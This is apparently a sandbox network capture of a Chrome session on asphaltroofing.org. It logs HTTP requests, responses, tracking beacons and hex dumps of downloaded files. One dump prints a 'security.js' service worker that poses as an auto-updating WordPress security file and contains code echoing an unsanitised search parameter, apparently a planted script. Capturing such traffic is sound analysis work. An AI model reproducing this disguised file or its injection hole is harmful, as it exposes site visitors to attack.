2024-04-23 14:54:23 UTC	326	IN	Data Raw: 00 00 02 00 01 00 20 20 02 00 07 00 05 00 30 01 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 01 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 f0 00 00 03 f0 00 00 07 f0 00 00 0f f8 00 00 1f f8 00 00 1f fc 00 00 3f fc 00 00 77 fc 00 00 67 fe 00 00 07 f6 00 00 0d b6 00 00 0d b2 00 00 19 b0 00 00 19 b0 00 00 01 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: 0( @?wg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
282	192.168.2.6	50080	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:22 UTC	716	OUT	GET /wp-content/uploads/2017/04/roofing.png?id=96 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z
2024-04-23 14:54:23 UTC	519	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:22 GMT Content-Type: image/png Content-Length: 545158 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 11 Mar 2022 16:31:22 GMT ETag: "1be1e2e-85186-5d9f3dc6d8a80" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:23 UTC	7673	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 07 d0 00 00 05 35 02 03 00 00 00 36 40 b7 f2 00 00 00 0c 50 4c 54 45 45 4a 49 2f 32 32 20 21 22 12 12 14 e2 87 80 f9 00 08 00 00 49 44 41 54 78 da 4c fd 51 8c 1b d9 99 26 0a 9e c8 ca 88 ec 4a ed d8 99 de 8c 2c 27 13 96 66 81 aa 46 4b b5 2e bd dc fb 30 7d 31 dd c1 9a 24 0b 56 01 77 22 6a e2 9c 2c 06 61 a5 0c 64 a4 2b 82 23 f2 c5 be 68 c9 6b 65 aa c7 55 0d cc 7d 21 7d 79 42 43 12 d7 a5 5a f0 44 29 4e b4 18 fd 20 19 c5 c8 56 44 ef c3 ec be aa 06 4a 35 c6 06 76 e5 8b 64 b6 19 dc 4e f6 00 ca da 62 70 f2 fc fb 20 db 33 7c 21 c0 d7 8f ff 7f be ef 3b df ff 1f 94 a7 00 00 00 79 04 22 05 00 71 ca 45 2f 15 29 c0 1c 00 e6 82 cf 07 09 9f f5 60 02 e2 5e 94 a7 30 1b 98 3c 61 db 5f 71 96 0e 06 98 35 60 3a 3f 14 84 aa Data Ascii: PNGIHDR56@PLTEEJI/22 !"IDATxLQ&J,'fFK.0}1$Vw"j,ad+#hkeU}!}yBCZD)N VDJ5vdNbp 3\|!;y"qE/)`^0<a_q5`:?
2024-04-23 14:54:23 UTC	8192	IN	Data Raw: f4 bf d3 6e 00 62 2f ae 4d 5e f9 36 39 9f 8f 23 00 98 42 37 05 01 09 c5 29 cc ea c6 ba 60 22 ec 79 47 83 f8 dc c1 b6 81 77 f0 ff 62 d7 04 4e 62 5c 1f be c5 b0 ba 7d 52 cd 31 8e ff 81 a4 39 2d bb bc b6 9d 0b ce 59 3a 7e 8f 05 4e 3d 0b a4 54 94 30 5e c4 db c2 65 aa e5 61 f2 d3 f6 85 c9 59 6d 96 79 2e 8c 2a 9a ff fc 69 9d c7 6d 07 32 5c 62 e8 6d dd 74 05 fd 48 d2 56 a4 fe 86 05 5a e1 e8 f6 81 b1 6e 4b 0f 91 cc 27 71 d9 f7 db 68 e9 d8 91 67 0b d7 28 96 4a 56 e5 e6 06 66 6f 1f 38 ef b7 31 5e 1d b4 f9 b1 1b a3 eb 3c ec fa 31 c7 2b 34 18 f6 4b 5b db 33 2b 28 67 fd 7a 69 6f b8 d1 4a 1e 6d 06 1a 76 b3 e0 83 7c 7f 21 2e 53 86 9b bb 2a 08 72 7d 2b 0d e7 00 f0 f5 d2 fc c5 aa 8e d6 94 79 7c 1f a1 b7 de 70 34 b5 ee 6e 20 89 b9 56 3d d7 6c 13 15 54 7d 45 c6 ce 5e 49 37 Data Ascii: nb/M^69#B7)`"yGwbNb\}R19-Y:~N=T0^eaYmy.im2\bmtHVZnK'qhg(JVfo81^<1+4K[3+(gzioJmv\|!.Sr}+y\|p4n V=lT}E^I7
2024-04-23 14:54:23 UTC	8192	IN	Data Raw: 25 5c 6e ba 6d d4 46 48 47 7f 8b 14 0d bd e3 ea 64 b3 87 10 e6 1f 7e 63 b0 77 5a 16 b9 fe e3 9d f4 00 21 86 e4 c2 87 df 3c 40 ea 86 66 ff bb e7 65 aa d9 1d ed 5f 71 a7 54 b9 37 46 a8 d0 1b af 2d ae 19 44 00 9c 21 a4 0c d4 ea cf f0 90 29 81 7e 5f 97 8e 10 c3 9b 73 ff 88 df be 6e 9b 0d ef af f0 a5 87 6b b2 b6 b5 9b f8 38 85 20 8e 93 68 c2 9f 58 27 54 50 97 73 13 e3 3d 80 f3 06 0b e7 1c b2 01 70 77 7b 1e 0f 38 11 a7 3e db 48 b2 c3 74 9a 88 41 16 1d 71 4e 1b 00 9c 3a 75 24 fe 5b 72 26 15 29 00 44 73 98 e7 af e2 72 5d 3b e4 7e 0d e6 00 42 9c 40 38 73 d3 70 02 93 11 87 87 ce ad 88 73 df 8a 07 d9 cf d6 85 f7 b0 52 49 a6 ad 86 e0 6e 16 94 1c 76 33 29 56 7e 4c 9e 26 03 31 38 04 e1 5c f5 39 46 58 de 14 e3 8a be 1f 07 aa 63 85 c0 de c8 02 3e e9 51 b3 82 b1 c1 98 73 Data Ascii: %\nmFHGd~cwZ!<@fe_qT7F-D!)~_snk8 hX'TPs=pw{8>HtAqN:u$[r&)Dsr];~B@8spsRInv3)V~L&18\9FXc>Qs
2024-04-23 14:54:23 UTC	8192	IN	Data Raw: 4c 70 11 c2 29 8f ef 9c a2 01 00 9c 76 60 80 fd df 2f 0a 0d 01 80 55 05 0f 27 9c df 26 6e 98 e3 8a 13 4d a2 29 07 5e 89 8e f6 f6 43 f8 87 b1 c5 66 b8 21 f0 4e 3e cd 3a 49 ab 9c f1 98 77 62 b6 99 66 7c e4 7a 5e 1e 28 cc e2 87 f3 f8 90 69 92 47 62 ce 0a 54 b5 b6 1a 27 7d 24 75 fd 0c 4b 8c 24 01 31 76 ef 30 09 dd e6 ec 87 b1 85 2f b4 0b b5 f4 f4 af 25 fe b5 f4 f4 62 80 8a aa d5 44 85 aa 47 ad 87 e8 8f ef 5e 19 3d b1 1e 9b 57 46 8b 48 71 33 5e cb 79 8b 75 fb 32 47 ff 7a 1a b7 15 1e 78 d9 79 6d 54 4b 45 1d d5 4e d2 ac b2 97 cf 47 10 3f b9 c4 b2 ad ea 3c d3 6a be 23 ef 4c 41 db 07 2f e6 5c 74 b3 6e bc bb 56 88 f7 ac 97 78 5b 64 7d d2 1d b9 d3 31 36 f4 cd cc c1 92 4b 9a 3f 25 d0 76 75 89 37 97 bd 63 a4 6c 03 00 d0 1d 8e 5b 8f 9c c2 91 b6 d0 3d 5a c0 78 ff f9 dd Data Ascii: Lp)v`/U'&nM)^Cf!N>:Iwbf\|z^(iGbT'}$uK$1v0/%bDG^=WFHq3^yu2GzxymTKENG?<j#LA/\tnVx[d}16K?%vu7cl[=Zx
2024-04-23 14:54:23 UTC	8192	IN	Data Raw: 91 de c6 a0 1b ba c8 5c 74 35 d3 32 f1 33 36 22 c5 61 b1 41 fa 5d 87 99 ad 88 96 89 7f f4 b9 17 e1 71 76 44 49 65 16 10 b6 bd d8 f5 a4 22 65 95 fa 3c 89 ab 82 36 8d bc b4 28 a8 29 13 9d 5e d8 b5 09 73 70 e3 7d 36 4a 3c 5a f0 5f a9 4b ec 78 81 19 14 aa 56 f1 fd 80 9a 7d ed 47 3c 31 dc 25 99 bf c9 fa 7a b3 f4 83 86 b0 01 a6 d5 2d 9c 93 81 33 87 44 2d 54 09 01 15 3a 65 5d 73 9f 13 56 17 b6 39 d6 2b 62 eb 0f cf 0d 89 5c f6 a7 44 50 4a b5 97 1b f3 eb 18 f9 8d 67 5a bb 6c 68 f2 47 ef b0 1a 1b c1 7c dd 10 2d e2 74 62 84 58 fa e2 d1 c3 1f d4 a1 36 9c bf db 59 68 d9 3c 08 8f 93 1c d3 3a e7 a2 32 21 42 81 a4 47 3a 45 c4 57 d6 fb 43 91 9c 7b 42 b8 7d 2e 99 03 d6 b0 d4 b3 bc ba d0 13 79 65 5a 25 2c 02 b8 45 e6 e9 a7 af 16 72 7c 42 4b 88 09 39 26 42 6d 28 5c 3e e8 6b Data Ascii: \t5236"aA]qvDIe"e<6()^sp}6J<Z_KxV}G<1%z-3D-T:e]sV9+b\DPJgZlhG\|-tbX6Yh<:2!BG:EWC{B}.yeZ%,Er\|BK9&Bm(\>k
2024-04-23 14:54:23 UTC	8192	IN	Data Raw: 54 0d 69 4d 6b 68 6c d0 ed e5 66 4d 49 e6 85 5d 38 f5 5e b6 ab dd ef b6 cd 67 89 27 96 bf 31 90 f5 6e 71 aa 7c 95 65 54 f7 83 29 c9 e5 5f e9 ed 4e 4c cc e6 78 fd 21 f0 4b 32 37 58 de 78 3b 4a dc 53 02 eb e4 a3 f4 3d 2a fd db 5d de 20 95 3a 7f fb 59 ce d3 97 2d be a5 d3 f2 1f e7 ea a0 0a 84 6f 4d ab 7a 27 75 5e 1c d0 5e 6e 6b c3 78 cc 53 99 2f b3 96 92 8a e5 6c 99 cb cb 09 26 35 17 c3 5a 38 46 ac 83 6c 24 48 0a d2 8f 00 f8 81 24 34 ac ca 11 2f 97 c5 2c bd d3 31 3b e7 17 48 42 67 77 bf d4 aa 5c 01 20 d7 ee e4 9f a5 4c 95 b3 74 dc e5 88 cc 11 f1 a2 f3 14 4a da 76 e6 c2 e5 06 ad 5b 57 7e ee bb cf 3b 27 96 f8 47 8f 38 f3 e1 c9 2f 24 31 bb 9f 02 d0 28 31 29 67 2f 37 61 cd ec a4 b6 3f 32 86 b9 96 d3 62 1d 3e 47 3a c9 4d 52 ee 98 54 cb 2d 5a 05 a6 f7 ac 2b bf 77 Data Ascii: TiMkhlfMI]8^g'1nq\|eT)_NLx!K27Xx;JS=*] :Y-oMz'u^^nkxS/l&5Z8Fl$H$4/,1;HBgw\ LtJv[W~;'G8/$1(1)g/7a?2b>G:MRT-Z+w
2024-04-23 14:54:23 UTC	8192	IN	Data Raw: aa 64 5a 84 80 38 4f b3 de 61 b4 b5 b5 7b 2a f1 14 8a c1 19 52 e0 d6 f7 0d d3 69 b3 61 aa 9c 4a f4 05 90 e7 df 09 9e 44 5d a7 ae e5 ef f7 b9 df 88 00 1c 9b 2a f5 eb b1 5c 23 b7 36 15 88 4e c9 02 71 ea 27 dc 60 20 dd e0 21 39 38 d8 9f 6b 7d dd ca 91 55 ad 99 4a bc 6f bf c3 44 72 3b 6c 9e 82 b2 45 cf 7c 65 54 22 1c fa 56 e5 1a bc f7 93 57 89 e6 ba 75 23 99 59 59 9a 07 00 ee d3 1c 00 a7 8a f0 a1 ae b5 ac 4f b6 8a 5f 76 80 fb 40 00 e0 52 0a 01 ab af 05 37 de b6 c2 23 a2 d7 d5 6f f1 67 c1 54 97 78 5d 29 b7 9f 8f da f9 eb 67 ff 2c 3d 9e 1a 97 9b a9 53 9c 78 1d 3e 82 18 d5 a2 92 cc 85 8f 21 6f 15 51 05 f3 69 99 aa 83 04 ab 3f 04 45 4c d3 84 55 6d 6f c0 53 61 d9 b1 95 b2 95 af 60 50 ff 89 27 6d 9f d3 88 dd 96 6c 59 9d 6f e1 90 a8 5c 5f 43 7c a1 ed 0a 7e d9 1f 0a Data Ascii: dZ8Oa{RiaJD]\#6Nq'` !98k}UJoDr;lE\|eT"VWu#YYO_v@R7#ogTx])g,=Sx>!oQi?ELUmoSa`P'mlYo\_C\|~
2024-04-23 14:54:23 UTC	8192	IN	Data Raw: fd 8e fc 75 b6 82 25 11 13 db 27 3d 74 72 26 2a 3d 27 94 9d c5 7d 62 ca 09 71 83 fd 68 8b 40 98 04 51 88 71 b2 16 10 42 22 4c 08 19 db e1 24 1e e0 03 e4 87 c9 1a d6 ff cd 28 24 89 c3 0c 23 53 26 66 90 d8 11 fe 34 72 83 87 7a 84 eb 2f f9 80 38 a6 d2 4d 2f 3d 5c 2a b0 95 64 10 3d 63 3c df 1a 9d ae fd 76 4d 17 a9 be 83 20 13 7d 9d bb f5 40 57 76 57 77 4a 4b 45 82 f1 21 e6 d8 05 77 f8 5b 6a 57 63 be 49 43 f6 06 92 b5 54 d4 d2 34 b6 11 b5 5e ca 3d 69 9d 85 d0 fa 92 a2 c5 eb f3 8a d9 2e 72 8c 8c 1f d0 38 60 2d 16 32 c6 b9 fd 82 b2 4c a6 58 b8 9e da 88 fc e6 29 6d 3e d2 d6 47 86 2a 41 e6 45 9a 52 84 f9 36 28 fd ba fc 80 b2 c4 6b 8c ab 55 58 5d 71 c4 f0 df 8d 2b 98 15 d2 6f 8e c4 cd a5 a5 4b b6 01 02 9c 93 dd 5b c2 c9 fb 8b 64 97 c6 be 1b ae fe 8a 4c 7f b9 7d b3 Data Ascii: u%'=tr&='}bqh@QqB"L$($#S&f4rz/8M/=\d=c<vM }@WvWwJKE!w[jWcICT4^=i.r8`-2LX)m>G*AER6(kUX]q+oK[dL}
2024-04-23 14:54:23 UTC	8192	IN	Data Raw: bc c4 0b 3a 00 50 85 b7 10 92 8d 77 bc 0a 3a 39 fa 44 6d c4 06 2b 01 c0 65 e3 1a bc 33 60 d5 ba 00 67 2a 64 cf 83 a1 1b 70 48 73 aa 37 cd 32 ae 25 bd a0 82 9f b7 ba 5c 3f b4 fd 28 92 25 5a df da 4a f6 3b 4e 6f 58 21 40 08 21 3e 49 42 32 b6 70 3c 34 1b 63 37 99 26 24 c1 24 3a ea 8d 3e b5 02 92 e0 9a 29 21 84 1d 13 2f 89 08 85 64 d2 f3 06 72 b0 53 c7 a1 8d 23 34 d4 1f 72 83 30 0e 3e 19 ae 3a 28 7b 99 bc a2 74 d9 73 08 99 29 8f cf 99 4a af f3 50 36 4b ee d0 29 39 61 45 d9 cb 57 76 c2 a1 a4 c9 c9 67 07 5a 36 bf e7 c8 1b e7 a3 e1 43 aa 0d 32 aa 05 ff e7 88 ee 52 78 7b d9 dd e1 45 1d 65 6a a6 1f 23 66 20 de 42 f2 c0 46 0d 92 64 2f fc db 8f c0 f4 9d d6 ea 2e 50 d6 70 13 e0 0c 67 99 8e 81 b1 cf be 23 6f 67 01 f5 24 38 06 d4 1e 72 67 55 4a e0 b6 2b f1 dd 2d a4 74 Data Ascii: :Pw:9Dm+e3`g*dpHs72%\?(%ZJ;NoX!@!>IB2p<4c7&$$:>)!/drS#4r0>:({ts)JP6K)9aEWvgZ6C2Rx{Eej#f BFd/.Ppg#og$8rgUJ+-t
2024-04-23 14:54:23 UTC	8192	IN	Data Raw: 76 6e 57 d0 d2 ff 37 ec 38 73 f1 4b 21 75 96 36 01 4e a5 b3 3a 4b af de be 9e 95 81 e2 7e d2 2a 75 53 3b 56 59 b8 19 5e 64 ff 6c 0b 63 83 02 16 d6 9a d4 41 1b 9e c1 f2 41 b6 93 5e b8 34 62 99 12 3b 8f 10 88 4d fa f3 97 74 ba 60 64 ba a7 bb c0 7e 97 7b 02 73 af ea ac fc b5 d1 9c 83 14 71 53 f1 87 63 00 a4 2a d7 14 f6 7b f4 0a 64 7c b6 50 36 d1 5b 6c be 6c 39 b5 61 26 d6 90 dd 70 3d b8 2e 2b 6d a4 5f f4 34 21 b3 79 a6 62 a2 a1 9c f1 85 94 27 63 47 be 68 2c a4 fa 7a 90 88 f2 a1 67 d6 2f e2 c4 27 93 e4 31 1d e0 a1 0f 84 78 1b 91 4f 70 90 4c ff 79 9d 22 aa 90 b1 2f 1f ee f7 fc 71 85 4c 08 d9 7a d6 38 24 a4 af 90 83 15 fb 79 bd d2 73 07 e1 2c 8c 7b 31 56 4b ee 38 ff e7 66 82 64 76 ee 21 be f9 69 82 6d bc 11 61 df b9 e9 5b 07 6c 9e 2d a6 23 32 f1 de 5e d0 3e 80 Data Ascii: vnW78sK!u6N:K~uS;VY^dlcAA^4b;Mt`d~{sqSc{d\|P6[ll9a&p=.+m_4!yb'cGh,zg/'1xOpLy"/qLz8$ys,{1VK8fdv!ima[l-#2^>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
283	192.168.2.6	50081	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:23 UTC	754	OUT	GET /wp-content/plugins/ultimate-responsive-image-slider/assets/css/images/openhand.cur HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z
2024-04-23 14:54:23 UTC	437	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:23 GMT Content-Length: 326 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 13 Mar 2024 19:13:45 GMT ETag: "681445-146-6138f92e19d6c" Vary: Accept-Encoding X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:23 UTC	326	IN	Data Raw: 00 00 02 00 01 00 20 20 02 00 07 00 05 00 30 01 00 00 16 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 01 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 f0 00 00 03 f0 00 00 07 f0 00 00 0f f8 00 00 1f f8 00 00 1f fc 00 00 3f fc 00 00 77 fc 00 00 67 fe 00 00 07 f6 00 00 0d b6 00 00 0d b2 00 00 19 b0 00 00 19 b0 00 00 01 80 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: 0( @?wg

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
284	192.168.2.6	50082	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:23 UTC	931	OUT	GET /v1/analytics/crumb?cb=1713884061835&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:23 UTC	1064	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:23 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:54:23 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z7lw6sitADxHiL%2FHhMVzC%2FRqpwalrj3olkjDxbNvWRxysICTWQHskYDxuaV2v%2FDS2ZppTKh3ONOOkS6D3kHWgJl8lgvBFgsFT7mDz23Lrd%2BRuMT%2FjgnwSuXnHROiSOqX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb044edb044eb-ATL
2024-04-23 14:54:23 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
285	192.168.2.6	50086	104.26.15.119	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:23 UTC	689	OUT	GET /v1/analytics/crumb?cb=1713884061835&a_id=603026366fd8bf4e42de107f&f_id=6627cb818425280008d4a656&ses_id=6627cb7c5c51a2698cf29ddb&ttd_id=b73cbbe9-d3f6-43f9-891b-3186ee4712ab&flvr=page_view&loc_url=https%3A%2F%2Fwww.asphaltroofing.org%2Fguide-for-professionals%2F&s_w=1280&s_h=1024&b_w=1280&b_h=907&cust_params=e30= HTTP/1.1 Host: polo.feathr.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:24 UTC	1062	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:24 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: max-age=0,no-cache,no-store Set-Cookie: f_id=6627cb818425280008d4a656; Domain=feathr.co; Expires=Wed, 23 Apr 2025 14:54:24 GMT; Secure; Path=/; SameSite=None Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jSBICojNiKMH6tCYS54hbDGONgCM40AksUzlMCTT%2B%2FrpPHkT3AeHR6zGCzZnyLaCXOSF%2BtHeonCcJtZuxREm8GkeVbhPsAAepjizFMQbqcqK%2BxibLu7oWEISPKLMvvvh"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb048da046738-ATL
2024-04-23 14:54:24 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
286	192.168.2.6	50085	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:23 UTC	837	OUT	GET /security.js?v=1713884062447 HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive Cache-Control: max-age=0 Accept: / Service-Worker: script Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: serviceworker Referer: https://www.asphaltroofing.org/guide-for-professionals/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884060.0.0.0; _scc_session=pc=4&C_TOUCH=2024-04-23T14:54:21.232Z
2024-04-23 14:54:24 UTC	543	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:24 GMT Content-Type: text/javascript Content-Length: 1478 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Fri, 29 Apr 2022 14:36:00 GMT ETag: "4506e-5c6-5ddcbf6119400" Accept-Ranges: bytes Vary: Accept-Encoding Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS
2024-04-23 14:54:24 UTC	1478	IN	Data Raw: 2f 2a 20 49 74 20 69 73 20 57 6f 72 64 50 72 65 73 73 20 73 65 63 75 72 69 74 79 20 66 69 6c 65 2e 0d 0a 54 68 61 6e 6b 73 20 74 6f 20 74 68 69 73 20 70 6c 75 67 69 6e 2c 20 79 6f 75 72 20 77 65 62 73 69 74 65 20 77 69 6c 6c 20 62 65 20 66 61 73 74 65 72 2c 20 6d 6f 72 65 20 75 70 2d 74 6f 2d 64 61 74 65 20 61 6e 64 20 6d 6f 72 65 20 73 65 63 75 72 65 2e 20 54 68 69 73 20 70 6c 75 67 69 6e 20 69 73 20 61 75 74 6f 6d 61 74 69 63 61 6c 6c 79 20 75 70 64 61 74 65 64 20 62 79 20 74 68 65 20 73 79 73 74 65 6d 2e 0d 0a 0d 0a 24 73 65 61 72 63 68 20 3d 20 24 5f 47 45 54 5b 27 73 65 61 72 63 68 27 5d 20 3f 3f 20 6e 75 6c 6c 3b 0d 0a 65 63 68 6f 20 27 53 65 61 72 63 68 20 72 65 73 75 6c 74 73 20 66 6f 72 20 27 2e 24 73 65 61 72 63 68 3b 0d 0a 24 73 65 61 72 63 68 Data Ascii: /* It is WordPress security file.Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.$search = $_GET['search'] ?? null;echo 'Search results for '.$search;$search

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
287	192.168.2.6	50089	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
